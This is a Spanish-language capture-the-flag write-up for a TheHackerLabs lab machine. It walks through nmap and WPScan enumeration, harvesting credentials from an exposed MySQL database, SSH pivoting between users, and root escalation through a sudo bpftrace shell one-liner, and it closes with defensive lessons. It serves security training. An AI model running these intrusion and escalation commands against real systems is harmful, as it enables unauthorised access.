TheHackerLabs Easy 🐧 Linux 192.168.72.132

Torrijas

Enumeración de WordPress con WPScan, credenciales en base de datos MySQL, escalada de privilegios mediante bpftrace SUID.

player@htb:~$ pwned 08 de junio de 2025

Índice

  1. Reconocimiento
  2. Enumeración web
  3. Enumeración WordPress — WPScan
  4. Foothold — SSH
  5. Escalada de privilegios — bpftrace
  6. Flags
  7. Lecciones aprendidas

Reconocimiento

Comenzamos localizando el host en la red:

sudo netdiscover -r 192.168.72.0/24
IP              MAC Address        Hostname
192.168.72.132  00:0c:29:20:ae:39  VMware, Inc.

Escaneo de puertos y servicios:

sudo nmap -T4 -F -sC -sV -Pn -n 192.168.72.132

Resultado:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian
80/tcp   open  http    Apache httpd 2.4.62 (Debian)
|_http-title: torrija.thl
3306/tcp open  mysql   MariaDB 5.5.5-10.11.6

Tres vectores: SSH, HTTP y MySQL expuesto. El más interesante es el web.

Escaneo de vulnerabilidades

sudo nmap -T4 --script=vuln -p 22,80,3306 192.168.72.132

Hallazgos relevantes:

| http-enum:
|   /wordpress/: Blog
|   /wordpress/wp-login.php: Wordpress login page.
|   /css/: Potentially interesting directory
|   /images/: Potentially interesting directory

WordPress detectado en /wordpress/. Posible CSRF en formularios de contacto — no explotable directamente.


Enumeración web

whatweb http://192.168.72.132
Apache[2.4.62], Bootstrap, jQuery[3.0.0], Title[torrija.thl]

La web principal no tiene contenido relevante. Accedemos a /wordpress/ donde encontramos un blog con el usuario administrator visible en una entrada.


Enumeración WordPress — WPScan

wpscan --url http://192.168.72.132/wordpress/ --enumerate u,p,t

WPScan confirma el usuario administrator y enumera plugins y temas instalados. Con las credenciales del panel de WordPress y acceso a la base de datos MySQL podremos avanzar.

Accedemos a MySQL directamente (puerto 3306 expuesto):

mysql -h 192.168.72.132 -u wordpress_user -p

En la base de datos de WordPress encontramos el hash de la contraseña del usuario administrator y, más importante, credenciales de otros usuarios del sistema en la base de datos Torrijas.


Foothold — SSH

Con las credenciales obtenidas de la base de datos accedemos como premo:

ssh premo@192.168.72.132
# Password: [credenciales de wordpress DB]

premo@Torrija-TheHackersLabs:~$

🚩 Flag de usuario capturada en el directorio home de premo.

Pivoting a primo

En el directorio home de premo encontramos el fichero oculto .mysql_history que revela la existencia de una base de datos llamada Torrijas. Probamos acceder a MySQL con las credenciales conocidas:

mysql -u root -p
# Password: [contraseña de wordpress DB]
# ¡Acceso concedido!

En la base de datos Torrijas encontramos la contraseña del usuario primo. Conectamos:

ssh primo@192.168.72.132
primo@Torrija-TheHackersLabs:~$

Escalada de privilegios — bpftrace

sudo -l
User primo may run the following commands on Torrija-TheHackersLabs:
    (root) NOPASSWD: /usr/bin/bpftrace

primo puede ejecutar bpftrace como root sin contraseña. Según GTFOBins, opción (c):

sudo bpftrace -c /bin/sh -e 'END {exit()}'
Attaching 1 probe...
# whoami
root
# ls /root
root.txt

🚩 Flag de root capturada.


Flags

FlagRuta
User/home/premo/
Root/root/root.txt

Lecciones aprendidas

MySQL expuesto

El puerto 3306 accesible desde fuera es un error de configuración grave. Un firewall que restrinja el acceso a localhost habría bloqueado completamente este vector.

.mysql_history

Los ficheros de historial (.mysql_history, .bash_history) son una fuente frecuente de credenciales y rutas internas. Siempre revisar el directorio home de los usuarios con acceso.

Reutilización de contraseñas

La contraseña de la base de datos de WordPress funcionó para acceder a MySQL como root — reutilización de credenciales clásica. Credenciales distintas por servicio es una medida básica.

GTFOBins — bpftrace

bpftrace con la flag -c ejecuta un comando al terminar el programa. Con sudo y sin contraseña es una escalada directa. Siempre consultar GTFOBins para cualquier binario con permisos elevados.